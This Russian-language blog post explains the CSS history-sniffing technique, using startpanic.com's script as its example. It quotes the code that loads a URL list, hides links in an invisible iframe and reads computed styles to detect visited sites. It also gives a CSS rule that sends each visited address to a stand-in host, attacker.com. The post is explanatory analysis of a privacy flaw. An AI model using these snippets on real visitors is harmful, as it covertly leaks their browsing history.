На написание этой небольшой заметки меня подтолкнул пост в блоге автора плагина NoScript о ресурсе с провокационным названием Start Panic!, который призывает пользователей написать петицию к разработчикам браузеров для устранения бага, связанного с выявлением посещенных пользователями страниц с помощью JS+CSS эксплоита, который может быть размещен на любом сайте. Как раз на startpanic.com и проводится демонстрация уязвимости; к слову, довольно показательная – все выведенные адреса действительно мной посещались. На самом деле ничего нового в этом баге нет – используется давно известный прием CSS History Reading. Собственно о нем и расскажу на примере его реализации на startpanic.com.
Прежде всего сохраняем c сайта /js/sp.js – главный скрипт, который выполняет проверку посещенных страниц. Скрипт минимизирован, поэтому его необходимо отформатировать, например это можно сделать в Aptana IDE (Ctrl+Shift+F). Итак, как видно из кода, прежде всего AJAX‘ом подгружается большой список сайтов размером порядка 1,5 МБ:
letsBegin('en'); function letsBegin(a){ startCheck("/db/db_" + a + ".txt") } function startCheck(a){ $.get(a, function(d){ var c = d.split("\n"); for (var b in c) { c[b] = "http://" + c[b] } user = StartPanic(c) }) }
Далее создается скрытый iframe, куда впоследствии будут помещаться ссылки на сайты из списка:
var p = document.createElement("iframe"); $(p).css({ position: "absolute", width: "1px", height: "1px", visibility: "hidden" }); $("body").append($(p));
В созданном ифрейме указываются стили, при чем посещенные ссылки будут иметь атрибут display равное inline:
p.doc.write("<style>"); p.doc.write("a{color: #000000; display:none;}"); p.doc.write("a:visited {color: #FF0000; display:inline;}"); p.doc.write("</style>");
Внутри iframe последовательно создаются ссылки, у которых проверяется атрибут display (q – DOM-элемент ифрейма; r – DOM-элемент ссылки):
return q.defaultView.getComputedStyle(r, null).getPropertyValue("display");
Собственно вот и весь алгоритм, хотя он отличается от традиционного варианта тем, что для посещенных ссылок вместо display:inline устанавливается атрибут background, который указывает на backend-приложение атакующего, логирующее все входящие адреса. Пример такого варианта:
<style> a:visited{background:url("http://attacker.com/?msn.com")} a:not(:visited){background:url(//not-visited)} </style> <a href="http://msn.com">x</a>
Разница между двумя способами также может проявляться в производительности: для традиционного варианта необходимо создавать для каждой ссылки отдельный ифрейм.
В заключение хочу отметить представленную на BlueHat 2008 работу, из которой можно подчерпнуть еще больше информации о применении CSS для реализации таких атак, как XSS и Clickjacking, а также о некоторых других не менее интересных приемах.
Leave a Reply